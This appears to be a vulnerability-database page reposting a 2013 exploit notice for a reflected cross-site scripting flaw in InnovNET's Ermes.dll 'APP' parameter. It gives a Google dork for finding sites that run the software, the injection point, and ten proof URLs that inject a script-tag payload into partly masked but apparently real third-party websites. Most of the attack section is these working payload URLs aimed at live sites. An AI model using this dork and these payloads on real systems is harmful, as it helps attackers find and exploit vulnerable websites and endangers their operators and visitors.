InnovNET Cross site scripting vulnerability

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1044488 漏洞类型
发布时间 2013-08-31 更新时间 2013-08-31
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2013080244
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
#********************************************************************************
# Exploit Title : InnovNET Cross site scripting vulnerability
#
# Software link : http://www.innovnet.fr
#
# Exploit Author : Ashiyane Digital Security Team
#
# Tested on: Windows 7 , Linux
#
# Google Dork :  intext:"Powered by InnovNET"
#
# Date: 2013/08/30
#
--------------------------------------------------------------------
# 1- Location : [Target]/cgi/Ermes.dll?A=&APP=[xss]
#
#
# Proof:
#
# http://www.bXXnet.com/cgi/Ermes.dll?A=&APP="/><script>alert(1);</script>
#
# http://www.citXXoxe.fr/cgi/Ermes.dll?A=&APP="/><script>alert(1);</script>
#
# http://www.ruXXsol.pro/cgi/Ermes.dll?A=&APP="/><script>alert(1);</script>
#
# http://www.igtXls.fr/cgi/Ermes.dll?A=&APP="/><script>alert(1);</script>
#
# http://www.kartixXarc.com/cgi/Ermes.dll?A=&APP="/><script>alert(1);</script>
#
# http://www.lagendXXucoin.fr/cgi/Ermes.dll?A=&APP="/><script>alert(1);</script>
#
# http://www.geonXd.fr/cgi/Ermes.dll?A=&APP="/><script>alert(1);</script>
#
# http://www.innoXXestion.fr/cgi/Ermes.dll?A=&APP="/><script>alert(1);</script>
#
# http://www.erXXmes.pro/cgi/Ermes.dll?A=&APP="/><script>alert(1);</script>
#
# http://www.primXXX-feci.fr/cgi/Ermes.dll?A=&APP="/><script>alert(1);</script>
#
#
######################
discovered by : ACC3SS
######################